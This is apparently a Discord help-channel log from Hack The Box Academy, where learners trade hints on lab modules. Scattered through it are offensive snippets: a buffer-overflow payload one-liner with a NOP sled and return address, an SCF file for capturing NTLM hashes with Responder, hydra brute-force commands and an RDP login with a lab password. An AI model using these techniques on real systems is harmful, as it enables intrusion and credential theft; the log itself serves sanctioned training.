#modules

1 messages · Page 401 of 1

fathom pendant
#

@storm shard don't reveal payloads used on modules above tier 0; i've been letting some stuff slide. if someone has the answer to help you they can ask to dm

#

oh yeah it is t0

storm shard
#

well let me double check now lol

ocean night
#

Glad I'm not the only one to make that mistake

storm shard
#

I think it's 0

fathom pendant
#

but revealing potential commands that result in answers is still iffy

#

as someone can just copy/paste your command without actually having learned a god damn thing

storm shard
#

Yes it is lol

#

No i get it, the point is to learn and giving the answer ruins it

fathom pendant
sand rose
rugged bolt
#

nxc worked Hare Krishna!

ocean night
#

Would be pretty boring if we just all innately good at everything

storm shard
#

Sucking at something and learning is how I got into tech lol... Arch killed my laptop and I spent four days fixing it xD

fathom pendant
#

i'm learning js/ts and am failing miserably (learning via the game BitBurner) because i learned i need to account for Out of Bounds errors, like results returning -1; or if it's very large it just says "alright, it's infinity now"

#

luckily they have a discord which massively helped me understand where i was going wrong

#

and even how to optimize the things that i knew what i needed to do.

neon wadi
fathom pendant
#

there's often a thing (especially with coding) that you know what you need to do, but discovering how to do it is something else

slender phoenix
#

The web proxies burp intruder question is gonna take 40hrs or sthing, does anyone know the flag?

#

web proxies module

fathom pendant
#

i.e. you know you need to read /root/root.txt or C:/users/administrator/root.txt

fathom pendant
slender phoenix
#

😢

fathom pendant
#

also it won't take the full 40 hours; if the module told you to reduce the list used, do that

slender phoenix
#

sans

fathom pendant
#

and sometimes the answer is near the top of the list, let it run for a minute, then sort by response size

ocean night
#

You're asking for sans?

rugged bolt
storm shard
#

Is it okay to share my notes on this stack overflow then? Just to see how it's going?

fathom pendant
sand rose
#

@fathom pendant Also: I'm not getting any response in the support (at least live). Before I send a Ticket through email, do you have any other ideas for troubleshooting steps with connecting up to the module? (Sorry to bug you again).

storm shard
#

kk

fathom pendant
ocean night
#

You will only get told to go to support with a ticket if you email in

#

They will get back to you, but yeah.. we can't give instant responses 24/7 I'm afraid

neon wadi
fathom pendant
ocean night
sand rose
fathom pendant
#

note this doesn't translate outside of learning environments

#

and using premade lists on live sites generally won't get you anywhere

bronze frigate
#

Hello im new and want to learn how to hack in a good way.
Can anyone help me?
If so dm me

sand rose
#

I saw on a box that IPPSec (after enumerating users in an AD Environment) went through a process to generate his own wordlist based on policies and other info he was able to enumerat... is this kind of approach typically more used/practical in real world?

compact patrolBOT
fathom pendant
bronze frigate
#

free?

fathom pendant
fathom pendant
# bronze frigate free?

htb academy isn't free, and stuff you find on academy can be found elsewhere in medium articles and such that are free

ocean night
#

Well... there is free content

#

but it's not 100% free

#

obvs

fathom pendant
#

the benefit of academy is that it's aggregated into a nice format with targets you can safely hack away at without accidentally taking down someone's infrastructure

bronze frigate
#

is their any 100% free stuff i can use im compleatly new and want to learn i only know visual basic

fathom pendant
bronze frigate
#

ik

fathom pendant
#

but as i said you'll have to google to find completely free stuff

bronze frigate
#

what do i go to

fathom pendant
#

plenty of medium articles on plenty of topics

bronze frigate
#

like what do i download

neon wadi
fathom pendant
#

i believe TryHackMe is also free

sand rose
#

@bronze frigate I started from 0 about a year and a half ago. I'm not sure the extent of your computer knowledge, but I highly recommend getting familiar with networking and security principles first a bit. I know HTB has a IT Foundations Module and a Networking Basics module.... start there probably is best I'd imagine

fathom pendant
#

and they offer a more hand-holding approach if you need the extra nudge

#

HTB is hands-off approach, at least with the active labs on https://app.hackthebox.com where you're given an IP and just told to find the user and root.txt files on a machine

bronze frigate
fathom pendant
#

if you want access to #general and other channels then i suggest reading and following #welcome

bronze frigate
sand rose
#

I would start with the IT Foundations module. While not academy, Starting Point I think is a great way to get your feet wet as a beginner. Best of luck!

fathom pendant
bronze frigate
#

ohhh

#

dang

fathom pendant
#

this is due to data collection laws that HTB has to follow

storm shard
#

Is it okay to turn my payload into just nopsled + shellcode + address?

fathom pendant
#

and other legal reasons

bronze frigate
#

will i learn enough with the free version

storm shard
#

What are the tags to enclose a semi long bit of text so that it collapses?

#

three backticks right?

storm shard
lusty thicket
fathom pendant
# bronze frigate will i learn enough with the free version

well with the free account on the main site you can access all active content; and there's sets of machines called "starting-point" that have walkthroughs and go through basics (note the guides may be outdated) and there's also some retired easy and medium machines that have a guided mode to learn from

storm shard
#

Damn it was too big or somethin

fathom pendant
#

@storm shard try trimming the output

#

instead of uploading the full output

storm shard
#

Can I dm someone? That is the short version xD

bronze frigate
#

why does it want so much info abt me

storm shard
#

I added comments to make it less garbagey

fathom pendant
bronze frigate
#

also whats a good username?

storm shard
#

I could make a copy and snip the long bits? if thats okay and shorten the comments. one min

fathom pendant
bronze frigate
#

it wont let me in

#

it doesnt even give me an option it just says must be over 18

storm shard
#

That one wont even collapse now

ocean night
#

Which module was this for again?

sand rose
#

I probably have to go to support, but may I dm either @fathom pendant or @ocean night if they are able about something brief?

fathom pendant
storm shard
#

Aha, maybe just this ```// Make a nop sled and pick an address in the middle for the eip to drop in
$(python -c 'print "\x90" * (2064 - 452 - 4) + "<SNIP>" + "\x77" * 4')

// Choosing address: 0xffffd5cc
// Little endian "\xcc\xd5\xff\xff"

// Updating for eip - NOP + shellcode + 0xffffd5cc
$(python -c 'print "\x90" * (2064 - 452 - 4) + "<SNIP>" + "\xcc\xd5\xff\xff"')```

ocean night
#

I'm not here for support, sorry

#

Sometimes I do support, but it's last midnight for me

#

Past*

fathom pendant
sand rose
fathom pendant
#

sometimes they do respond to help in the dc; however: that's the exception not the rule.

#

but they will ask that you have a support ticket open and chat will be moved to the support ticket

ocean night
#

Why are you posting that if it's related to the answer on the module you were talking about earlier @storm shard ?

storm shard
#

It's tier 0 but I can delete it, I just can't seem to figure out what's wrong and wanted to see if someone could see anything obvious

ocean night
#

Oh fml

storm shard
#

Is that not good to post?

ocean night
#

No never mind, mixed up again. Good night.

storm shard
#

lol you're good

#

I usually pass out around 10 these days

#

Okay, I have had somewhat of a breakthrough. I am so annoyed with myself.

#

... the number of bytes is not 425 -_-

image.png
#

I am getting code execution. Which feels wonderful, but there are permission errors for /bin/dash and for cat /root/flag.txt

fathom pendant
#

well

#

/bin/dash isn't at thing, so

lusty thicket
#

the debian almquist shell

#

from a google search

fathom pendant
slender phoenix
#

why might I not be able to visit a target address?

storm shard
#

I got it. I am a wizard and a genius

#

lol

fathom pendant
slender phoenix
#

its a blank page

#

yep

fathom pendant
#

try using http instead

lusty thicket
slender phoenix
#

i have

fathom pendant
#

are you running a proxy?

#

did you try turning it off and then on again?

storm shard
#

Everything, as always, came down to small mistakes that were hard to notice in the big picture.

slender phoenix
#

can i not visit if proxy/burpsuite is running???

#

i am on a different tab to look for it

sand rose
#

is intercept on for burp? Might have to either forward the packets or momentarily turn it off?

slender phoenix
#

kk

#

nahh turned off and http but just white space

waxen totem
slender phoenix
#

Web Proxies

sand rose
#

@slender phoenix Have you been able to connect to the page at all? You also might need to edit your /etc/hosts file too?

#

Oh, this guy knows more than me, he can take the reigns

waxen totem
#

Are you connected to burp proxy on your browser?

slender phoenix
#

in the instance

waxen totem
#

Is burp intercept off?

slender phoenix
#

uhuh

waxen totem
#

Can you try curl and see if there's meant to be some output

#

Or a different browser

sand rose
#

which section specifically? I can try to look at it myself too. I know you said the module is web proxies.

slender phoenix
#

can't connect to server

sand rose
#

which section exactly is it in the module?

#

Im going to try to connect up to it

storm shard
#

Is this connected with an academy openvpn instance?

cloud urchin
slender phoenix
storm shard
#

Bc I've often accidentally opened more than one so I do a killall and reopen one and make sure its connected.

slender phoenix
waxen totem
#

Is it a public ip? Can you send target ip?

cloud urchin
slender phoenix
#

yeah

#

host and pwn

storm shard
slender phoenix
cloud urchin
#

which section are you on?

waxen totem
#

Looks like a docker ip to me(afaik are public)... but cant access it either

slender phoenix
#

does it matter that i'm doing an attack? Like intercept might

cloud urchin
#

need to know the section

sand rose
#

@slender phoenix I just went to the first section I could spawn a target... I was able to connect up fine. Try refreshing the target?

cloud urchin
#

probably just restart the target at this point though

slender phoenix
#

cool

#

right so it is intruder

cloud urchin
#

can't really tell without knowing the section

slender phoenix
#

the question

cloud urchin
#

there are many questions in each section of the module, we need to know which section you're on

sand rose
#

What is the question you're trying to answer?

cloud urchin
#

under the table of contents

slender phoenix
#

right so it is intruder

cloud urchin
#

do you mean "Burp Intruder" section?

slender phoenix
#

yeah section intruder

cloud urchin
#

ok yeah, you're not going to get anything but a blank page on the root of the server. the instructions tell you to fuzz for the html file in the /admin directory.

slender phoenix
#

i have, i know the file name? i think

#

you said root? i dunno

#

but i have the file

cloud urchin
#

@ruby storm please post again without posting content from the module itself as it's above tier 0

proven drum
#

Hello guys, im a little stuck in the Cracking Passwords with Hashcat module on section Cracking Common Hashes im given ahash that i need to crack and the hint is suggesting to use hybrid attack ore one of the default rules, any insight on wich rule to use or any other hint 😄

slender phoenix
#

the causeeee....

unique spruce
#

yo im on cpts footprinting imap/pop3 section

#

im stuck on the last 2 question and i though the admin email was cto1... i checked but it wasnt and im confused on what else it would be and for the last one idk how to log into imap w/o a password

#

any one able to guide me ?

rustic sage
#

iirc checking all mails body was helpful in this exercise

unique spruce
#

what does iirc

rustic sage
#

If i recall correctly

unique spruce
#

how do i check a mails body

#

also wtf is the admin domain if its not cto..

#

and why dont my commands work in impac

ocean night
#

The commands are covered in the section you are currently on @unique spruce, although you may need to do some reading on the steps outlined in the section.

#

If you are unsure on something, look at what you have learned, and look at documentation / man entries

waxen totem
unique spruce
#

dont worry man im about to punch my monitor because i didnt read the last sentence

#

that gave the credentials

#

ive spent an hour learning how to use hydra to brute force usernames

waxen totem
unique spruce
#

atleast im learning hydra early

unique ether
#

any idea why after ur encoding and i search in the browser it replaces alot of the url encoding with dots and back to the ascii values

waxen totem
unique ether
#

its one of the exercises that tells to url encode and search

#

and i need to bypass the filters by the web app so i have to url encode

waxen totem
#

If this is part of a module I probably haven't done it 5699zeroshrug

unique ether
#

local file inclusions

waxen totem
#

Definitely haven't done it but you can probably try curl --path-as-is or something like that

unique ether
#

nvm

#

it worked anw

waxen totem
#

it's the dash

opaque ingot
#

Jajaja thanks

exotic shadow
#

there's prolly something wrong with (ACADEMY-PWATTACKS-LM-MS01) in password attacks module, i cant seem to rdp in with the correct creds
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) Y
[22:28:49:949] [8600:8601] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[22:28:49:949] [8600:8601] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[22:28:49:949] [8600:8601] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[22:28:49:949] [8600:8601] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

cloud urchin
#

module and section?

exotic shadow
cloud urchin
#

did you wrap the password in single quotes?

exotic shadow
#

xfreerdp /v:10.129.204.23 /u:Administrator /p:AnotherC0mpl3xP4$$
the exact commad

cloud urchin
#

try wrapping the password in single quotes as it contains special characters your terminal interprets as not part of the password.

exotic shadow
#

works now, thanks

cloud urchin
#

also protip for you, add /dynamic-resolution

waxen totem
#

I hate RDP but thanks for this lil piece of knowledge

cloud urchin
#

protip 2: /drive:/home/<user>/Desktop

#

or whatever folder you want to use

bronze frigate
#

hi

cloud urchin
#

hello

bronze frigate
#

im new

compact patrolBOT
waxen totem
bronze frigate
#

i use tryhackme

cloud urchin
#

You can get parental consent

#

You still need to be a certain age though I think

exotic shadow
fathom pendant
waxen totem
fathom pendant
#

(basically what body[] does)

waxen totem
fathom pendant
#

because ALL grabs more of the metadata, than the actual data

waxen totem
#

Yah ik but its not intuitive catscream

fathom pendant
#

blame RFC

waxen totem
vale scroll
#

Hi everyone can someone give me a hint for the privesc on titanic ty all

waxen totem
vale scroll
#

nvm I just found out

junior totem
#

Hello everyone.
I need help with Cyber ​​​​Lab, I can't figure out how to do "SQL Injection".

real delta
#

I guess bro didn't really need help

dusky valve
#

not too sure if i can ask this but im in the Introduction to Threat Hunting & Hunting With Elastic module under the Hunting For Stuxbot part,

i dont get the filter part where the query includes dns.question.name:* but in the filter it excludes it. i dont rlly get the logic :o

SPOILER_hunt3.png
bitter hill
random pebble
#

Thanks

storm elk
urban elk
#

reposting: is it just me or is it nearly impossible to have findings with a "Low" (say, below 4.0) CVSS 3.1 score?

Take the "Directory listing enabled" finding example in the Documentation & Reporting module. This is a case where no sensitive data was found in said directories.

They got it to score 4.3 (and made it a "Low" too but technically 4.3 is "Medium") I guess by marking it as Adjacent attack vector, but if I can reach the relevant site from the Internet I think it should be Network, plus a Low confidentiality impact, making it a 5.3. The best I can do is change the Environmental factor for Confidentiality Requirement to also be Low, bringing it down to 4.6... still medium, and still sounding excessive, taking attention away from more important issues

lusty thicket
#

ignore cvss scores for anything that doesn't have a direct exploitable impact, context and risk matter

junior totem
fathom pendant
#

in order to gain access to the <no-access> channels see the first point

pseudo kiln
#

am I the only one that did not really get SSI Injection from the Server Side Attacks module ? I though the other attacks were well explained until this one

old wren
#

In Windows PrivEsc, Interacting with Users. I start Responder, and get many lines like this:

[HTTP] Sending NTLM authentication request to 10.129.58.58

But nothing after that. What am I doing wrong?

Command: sudo responder -w -v -I tun0

Contents of the SCF file:

[Shell]
Command=2
IconFile=\\10.10.15.15\share\legit.ico
[Taskbar]
Command=ToggleDesktop
#

Ignore, I was missing the -F flag. Got the hash.

worldly aspen
#

In Linux PrivEsc, Polkit section I cannot run "pkexec -u root id". I also tried to do it with PwnKit as in the section but cannot get it to work. I searched online I did not find any hints? Can anyone suggest me what should I do to Escalate Privileges?

grizzled schooner
#

Password Reuse / Default Password

For the initial question, it mentions to use the credentials that we got from the last module. I have a password that ends in: "ations}" (trying to not give anything away) is this the right one? I don't remember what the brute forced password was for the initial access or not - just trying to figure out if I have to run another brute force to get the same pw

fathom pendant
fathom pendant
rustic sage
#

@fathom pendant where all peoples

fathom pendant
grizzled schooner
fathom pendant
ionic musk
#

Hi everyone

rustic sage
#

Hi

storm elk
#

Hello @ionic musk - please read and follow instructions from #welcome - this isn't #general chat so please, verify your account and talk there

grizzled schooner
tawny flint
#

Hi, I am at the "Skills Assessment" of Broken Authentication. I solved it but I didn´t fully understand what is on going. Can I ask someone? I don´t want to spoil it. Thanks

rustic sage
#

Can anybody send link of HTB to start progress
Next time I will remeber it thanks

compact patrolBOT
rustic sage
#

Thanks

ionic musk
storm elk
#

Try logging out and back in. If that does not work - contact support via the website

compact patrolBOT
sand rose
simple merlin
#

Hi, someone might help me for "HTTP Attack - TE.CL" - "Try to use what you learned in this section to exploit request smuggling to bypass the WAF and access the admin portal." please ?

tidal hull
#

Hello, I am working on the Attacking Authentication Mechanisms under web pen testing job role path and got stuck. In the challenge of Signature Exclusion Attack, it says 2 vhosts are required to solve the challenge. My questions is while using the pwnbox, how do I add these vhosts? Shouldn't they be already configured? If not, what IP address to use for these? Can somebody help me out here?

supple dragon
supple dragon
compact halo
#

Anyone know where to go for some collaboration on HTB Seasons?

fathom pendant
stiff aurora
#

good morning, one question how you copy and paste in pwbox?

#

from outside the box to inside the box,

#

is not good question but 😩

pseudo kiln
#

anyone around finished Server Side Attacks skills assessment ? I managed to do it blind, but I still do not understand why something worked and something did not, anyone around I can DM about it ?

frail jasper
#

Hi everyone, I'm stuck in Abusing HTTP Misconfigurations
Skills Assessment - Hard lab and I need your help.

acoustic owl
supple dragon
heavy dome
#

Final SA Question: Find the percentage of users with a path to GLOBAL ADMINISTRATOR. Submit the number as your answer (to two decimal points, i.e., 11.78).... some suggestions, I'm going crazy...

acoustic owl
harsh sundial
#

hey everyone is there anyone who can help me out with the metasploit part so the public exploit start of getting started

worn matrix
#

any module for cloud pentesting?

velvet owl
#

find -type f -name *.config -newermt 2020-03-03 -size +25k -size -28k I'm using this comand in the https://academy.hackthebox.com/module/18/section/81 module for the first question and its giving me a ton of options in any directory. Is there a specific one I should be in (directory)?

iron oracle
#

Is there a module in HTB that explains how to install Sharpview?

west arrow
#

"Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file."
Module: https://academy.hackthebox.com/module/167/section/1614
I am doing where /R C:\ waldo.txt and it is not working, tried C:\Users\ also..

iron oracle
#

Unless I missed it somewhere its kind of insane the Sharpview.exe isn't included as part of the Powerview/sharpview module.

stiff aurora
dusty iron
#

Need help with this odat.py script. Currently working on the "footprinting" module focusing on Oracle TNS. I am trying to run odat on my personal VM and i keep getting this "no module named crypto" error. I have done research and installed the appropriate modules incorporated with the odat service but still cannot get it to work. I can't even use it on the HTB machine either, there is a plugin associated with autorecon which I am still researching on how to use the odat plugin. any ideas?

image.png
fathom pendant
#

sudo pip3 install Crypto --break-system-packages
i suggest running the install script from the module line by line instead of as one big install.sh

#

as the install.sh method breaks more often than it's worked

dusty iron
#

That script helped, I thought it did not at first since i was still getting the error (even when trying to call the module on its own) I did some research to double check everything was installed (grep command) but noticed that the module was all lower case, "Crypto vs crypto" and now everything works fine. lol. thank you

image.png
fathom pendant
#

yeah

#

casing is a hell of a thing

kindred frigate
#

Hello everyone, I hope you guys are doing great. I'm having issues with figuring out how to go about the Login Brute Forcing Skills Assessment Part 2.

#

i log into the ssh using the user and password from the Part 1 and then i try brute forcing using the passwords.txt in that login: hydra -l t***** -P passwords.txt -s 50237 ftp://83.136.249.46

outer tendon
#

im at the linux fundamentals module and at the first question i cant answer the password in the set up terminal

rustic sage
#

That bs got me too

rustic sage
#

Not sure if this makes sense this is listed as gammer-5g

#

Maybe deauth will work

heavy forum
#

Daer all good day

#

need help for this

#

Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Dashboard". Either create a new visualization or edit the "Failed logon attempts [Admin users only]" visualization, if it is available, so that it includes failed logon attempt data where the username field contains the keyword "admin" anywhere within it. What should you specify after user.name: in the KQL query?

#

however its not correct can some one help please

rustic sage
#

Found it

heavy forum
#

need to give thank you

rustic sage
#

I don’t always fuck up a lab but when I do it, it’s always almost my fault

thin elbow
#

Yo anyone wanna make a hacker server with me?

safe star
#

nah

#

that profile is unreal 💀

thin elbow
#

Yuhh

#

I get all huzz

#

But lowk

#

I need people to make a fucking serv eith

#

My mf grammar !

proud pine
storm shard
#

So, I am trying to do the windows overflow assessment, tier 0 btw, any my payload worked on a local copy in the windows VM, but I am getting errors when I try to send it to the remote port

#

I assumed that I only had to change the ip to the target instance, but I get OSError: [Errno 113] No route to host when I try the code that popped a revshell without any issues in the VM

indigo locust
#

Hi

storm shard
#

In theory, I should be able to just run the exact same python exploit and it will work, no? Unless there is some extra testing that I need to go over on the actual target - but, in that case, how am I supposed to monitor the behavior of the binary?

#

Nvm... I reset the instance and it worked. I think it was sitting there crashed after I sent to the wrong ip at first.

waxen mesa
#

When doing pentest in a nutshell module specifically trying to exploit Wordpress form , when using msfconsole It keeps saying exploit completed but no session created I tried it several times

#

Anyone else came across similar issue

#

Idk if it might be because I’m using my main machine and not the instance

#

Seems to work on the instance I wonder why it doesn’t work on main machine

tired bough
#

i was getting that

#

u using a VM on your main?

#

vmware hated doing reverse connections unless the vm was set to NAT and not bridged

#

for your network interface

waxen mesa
#

@tired bough I was using wsl kali Linux

tired bough
#

that miiiiight be why?

waxen mesa
#

Yeah I wonder what’s the technical issue behind what’s causing it tho

tired bough
#

i was woundering if its iptables but it seems to work on like local exploits on my network

#

i have a home lab with a vuln machine i practice msf on and do reserch with and it works fine

#

but anything over the vpn with reverse connections its seems to hate

#

so weird

waxen mesa
#

I see

empty trout
#

I AM STILL STUCK ON THE SAME ASSESSMENT

#

module attacking common services in section skill asessment hard

#

i dont know where to go from here

waxen mesa
empty trout
#

in section they presented how to view linked server and which user is used to access that maybe i need to bruteforce that user

waxen mesa
#

I starting to hypothesize that hack the box has bugs and technical difficulties

left pivot
#

anyone using WSL in windows had a problem with burpsuite where when you try to intercept, send to repeater, and modify the request in a way that you have something like tryinng to push a web shell like in the file upload module, but burpsuite returns an error like connection aborted by software host and does not return the response from the server? when I change the body of the request and instead of having a web shell php I have some random text, burpsuite works normally

#

i thought that maybe disabling the real time protection and firewall from windows defender could work but no

waxen mesa
#

Is it bugged out

IMG_4053.jpg
#

Or is it just me cuz I did everything I followed and still

left pivot
waxen mesa
#

The only thing is my vpn keeps giving me a alert saying it’s connected so I don’t know if that’s the problem maybe I have to reconnect the vpn

waxen mesa
# left pivot what is happening here

I’m following the pentest in a nutshell module where I’m using metasploit to get information on the target when I get the meterpreter and then type shell I have this issue after only after typing in a command

left pivot
#

wow that makes no sense

waxen mesa
#

Like whisper said it could be a vpn issue I’m not going to waste time

left pivot
#

yes i think that i had some problems like that with metasploit sometimes

#

most of the time the thing was that the exploit was not running successfully

waxen mesa
#

Yeah I had that issue as well had to run exploit command several times before it work

left pivot
#

because this is some real shit right here

storm shard
#

I have a ton of issues with WSL. I usually just opt for Parrot in vbox

#

My laptop is too old for WSL2, which might be better but I wouldn't know

left pivot
#

that makes sense

#

i like wsl but this type of things make me want to destroy windows

storm shard
#

I like it too, but I have resorted to only using it for basic things that Windows doesn't do. sed filtering lists/files for output, curl, wget, vim, git, etc. Just things that I am more comfortable in a shell with.

left pivot
#

yes maybe i should do the same

storm shard
#

VBox Parrot works very well and fullscreen mode feels seamless compared to my dual boot but I still can swap over to windows whenever I need to without rebooting

left pivot
#

well what i like about wsl is that is low resource-consuming and i always have a ton of programs executing at the same time without having that much ram

#

maybe i could search for some type of cli based parrot on vbox

#

you know if that exists?

empty trout
#

i solved the hard skill assessment of attacking common service and have some doubts

#

anyone ?

#

and there are other ways too to find the same flag .. after solving it feels like i am not 100percent understood this one

ocean night
#

Which module is this for @empty trout ?

#

Oh

#

Common services lol

#

Damn it I'm blind, nvm

empty trout
#

attacking common services

#

hard skill assessment

ocean night
#

That is a Tier 2 module, so careful what you share about it

empty trout
#

sorry for that

empty trout
left pivot
left pivot
ocean night
#

I don't know - ask their support I guess? Not here as tech support, sorry

#

You say random text.. check protocol, http vs https, all I'll sasy right now

quiet trout
proud pine
quiet trout
#

yeah i didnt like the experience, i found it to be cumbersome personally and a little lacking in performance unless you have a "modern" computer so i was like ok whats the point

proud pine
#

It really shouldn't be used for anything serious.

ocean night
#

Works fine for me, but you could argue maybe I don't use it for many things serious

#

at least pentesting wise

#

Used to be nmap wouldn't work well due to lack of raw socket access, but that was fixed in later releases with WSL2

quiet trout
#

right on. if i had to use windows regularly for a job and they wouldnt let me use linux i would prob install wsl

ocean night
#

I love it tbh

#

But it does have its limits

#

Fact you can use the GPU without configuring passthrough or any crap like that though, for LLM training etc

#

Very handy

quiet trout
#

didnt know that, interesting.

storm shard
#

WSL has some tools to run X server that have worked, but it took some tweaking

ocean night
#

Pretty much is WSL, but yeah. Limitations. X server works, not perfect, but nicer than on a remote VM and connecting over network

#

I reckon it'll continue to improve

#

MS changed their tune so much on dev tooling and open sourcing. It's been great to see

#

X server over network is so god awful, but does work

#

..mostly

waxen mesa
#

Is this normal on the pentest plus in a nutshell module when running linpeas

IMG_4054.jpg
#

I asked ChatGPT and it says it’s not so what else can I do now

#

I got these output but compared to what hack the box was showing I wasn’t seeing printf

IMG_4055.jpg
cloud urchin
#

@quartz sundial please repost your question without revealing contents from the module as it's above tier 0.

quartz sundial
quartz sundial
cloud urchin
#

@viral slate please repost your question without spoiling content from the module

viral slate
#

OH

cloud urchin
#

@quartz sundial you can post your question here, just don't post content from the module is all

quartz sundial
#

problem accessing share

#

using Pass The Hash attack)

viral slate
#

I couldn't copy my question to rewrite it 😦

cloud urchin
#

if you feel like you need to post info that would spoil content ask if someone can DM you. probably at last include which question/section/module you're stuck on.

quartz sundial
viral slate
#

[Wi-Fi Penetration Testing Basics - Skills Assessment]

Currently working on skills assessment second question.
For some reason, I couldn't get any handshake and number of frames are incredibly low.
What should I do in this situation?

cloud urchin
viral slate
viral slate
quartz lagoon
viral slate
lapis sky
#

Module: Password Attacks
Section: Pass the Hash (PtH)
Question: Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt

im kinda confused, should i connect to julio with mimikatz then on another tab open a rdp session with julio account or what exactly? im lost

proud pine
thorny sluice
#

Module: Working with IDS/IPS Section: Suricata Fundamentals. Enter the requested PHP page as your answer. Answer format: _.php I got an answer but it won't accept it, I've had this issue before I so I want to make sure I'm not tripping

quartz lagoon
sand rose
#

Hello Guys. In the Information Gathering - Web addition, Fingerprinting section, I'm having a hard time getting the CMS of app.inlanefreight.local(I did update my /etc/hosts file). I ran a nikto scan with -Tuning b, but nothing came up on it, when I looked at the webpage, I didnt see anything on there that indicated the software, and a look through the source didn't appear to have the answer. What am I missing?

#

nvm, I got it... I was in fact, missing something.

proven drum
light arrow
#

Are we supposed to complete the network skills asessment with the pwnbox?

cloud urchin
#

You can use the pwnbox or your own VM for pretty much all of the modules, which module specifically?

light arrow
#

Networking Fundamentals

cloud urchin
#

looks like it, question 2 asks specifically for something running on the pwnbox

light arrow
#

I was doing the last questions and then my gf came over and we went to go eat and I closed the pwnbox and I only get 1 spawn per day so I moved to vpn but alas... I think I can only answer it through the pwnbox instance since its my target

#

maaaaaan

cloud urchin
#

dump her

light arrow
#

Nah brah. Good women are hard to find.

#

exactly. no rebuttal to that.

cloud urchin
#

it was only a joke!

kindred frigate
#

Hello, I was wondering what steps you used? I too am stuck on this. I found the list of other users and created a list with those names and cross used them with hydra and the passwords.txt file but no luck.

light arrow
#

big sadness though since i have been doing everything through the vpn on my own machine and now i have to wait 24 hours to finish this module 😦

#

oh there it is

viral slate
light arrow
#

I am way too broke to do that.

rustic sage
#

Hey

#

Guys I'm currently reading books for hacking and I stumbled upon black hat python 2nd ed

#

I have basic python knowledge. But why did the book drop straight into hard stuff and the format looked weird like three ''' which made no sense can anyone guide me to a book that's better or a website with a walkthrough?

real delta
#

Wdym "dropped into the hard stuff"?

#

Functions and modules are basic python

real delta
#

Breaking into stuff you don't own or have permission to break into is illegal

rustic sage
#

<@&861185840277487616>

thin parrot
#

I had someone trying to fish information out of me acting as tech support in my dms a week ago

#

As tech support... in a literal fucking security server 😭

real delta
#

Sorry, wrong person

#

I didn't mean to reply to you @thin parrot

fathom pendant
#

@weak basin breaking into things you don't own or have authorization to access is illegal

#

sorry @thin parrot misclicked and deleted your message

thin parrot
#

no worries lol

fathom pendant
#

any public server gets flooded with those bots

#

just the nature of public servers

thin parrot
#

Fair enough

fathom pendant
#

you also get kids and illiterate folks with negative braincells that just see the word "hack" and think that it's just a server about illegal activities

rustic sage
#

asking ppl to find their ex's contact

fathom pendant
#

and don't understand basics of joining any server/forum of read the god damn rules

#

this isn't exclusive to discord, you see it in other forums and such

#

i remember it way back when i used to use TeamSpeak

thin parrot
#

This isn't the answer for a question but I'll cover it up anyway... Just trying to figure out why this isn't printing any subdomains

||gobuster vhost -u http://83.136.249.46:36455 -w /home/htb-ac-1070752/Downloads/bitquark-subdomains-top100000.txt --append-domain||

I'm almost certain its the wordlist as it completed without any issues.. just printed nothing to the terminal. Assuming that means not a single subdomain was discovered relative to that wordlist.

I've never used teeamspeak discord was my first exposure to any sort of form. But that makes sense, I could see myself hopping on here at 7 years old trying to act like a cool hacker 😂

lusty thicket
#

it's a bit old but it still gets the job done

waxen totem
thin parrot
#

🤦‍♂️ Thank you

waxen totem
#

if you want to use the domain you're gonna have to add it to your /etc/hosts file then use the domain in the url field instead

fathom pendant
#

it doesn't automagically know

thin parrot
#

Wait but does a domain not map to some ip? I'm a bit confused because I'm pretty sure there can be virtual hosts under a webserver's vhost config and that an http header determines which page or even alternative site is retrieved..?

#

I'm mixing this up somehow

lusty thicket
waxen totem
thin parrot
#

OHHH ok that makes more sense thank you

#

im falling asleep waiting gobuster to finish

waxen totem
#

same but with hydra

waxen totem
#

Mod: Password Attacks
Sec: Password Mutations

This supposed to be taking this long? been running for 30 mins using a mutated word list with the rules and password list from the resources...

thin parrot
#

im going to lose my mind

first the target goes down earlier than expected
then the pwnbox session closes

#

I have to do the scan for a third time sadglas

round relic
waxen totem
#

almost an hour now... kek

round relic
waxen totem
#

The file from the resources doesn't change, it's the same file throughout the module

round relic
waxen totem
thin parrot
#

Oh my god one of the questions is still unanswered... it wasnt in the wordlist

#

Would it be wrong at this point to just search up the asnwer

#

eh i found the wordlist for it thats good enough

thin parrot
#

Any reason why ReconSpider returns nothing in the results.txt

#

ok you need to specify protocol nvm

brisk leaf
#

Hey

rustic sage
#

why?

thin parrot
#

😂

waxen totem
#
  1. We don't encourage account sharing in this server, especially bank accounts
  2. Unrelated to the channel
  3. I smell something barely legal
storm elk
#

You having issues with paying for Academy @brisk leaf ?

#

very specific to ask for an indian account 😄

brisk leaf
rustic sage
#

Mo issues at all

somber flax
#

hey where can i ask for hints for some chall?

#

is there a special channel for this?

rustic sage
waxen totem
#

@somber flax like 000xblPan said #challenges if you don't have access to the channel get verified, instructions ---> #welcome

wet aspen
#

Guys anyone worked with integrating hive and misp… if yes please DM me

opal nexus
#

has anyone done the 'Introduction to Process Injection' in 'Introduction to Windows Evasion Techniques'?

the code int he section's guide fails to spawn the calculator

somber flax
tropic hearth
#

it's "Getting Started", public exploits section @tranquil crystal

tranquil crystal
#

Can you link me to the module url

#

i'll check it out

tropic hearth
tranquil crystal
#

thanks

tropic hearth
#

if I'm supposed to exploit services, I need to be able to scan it..so ...yea..what gives?

tranquil crystal
#

go to it in your browser

#

Simple Backup Plugin 2.7.10 for WordPress can backup and download your WordPress website and MySQL Database.

#

You will see this. Search for exploits for this wordpress plugin

#

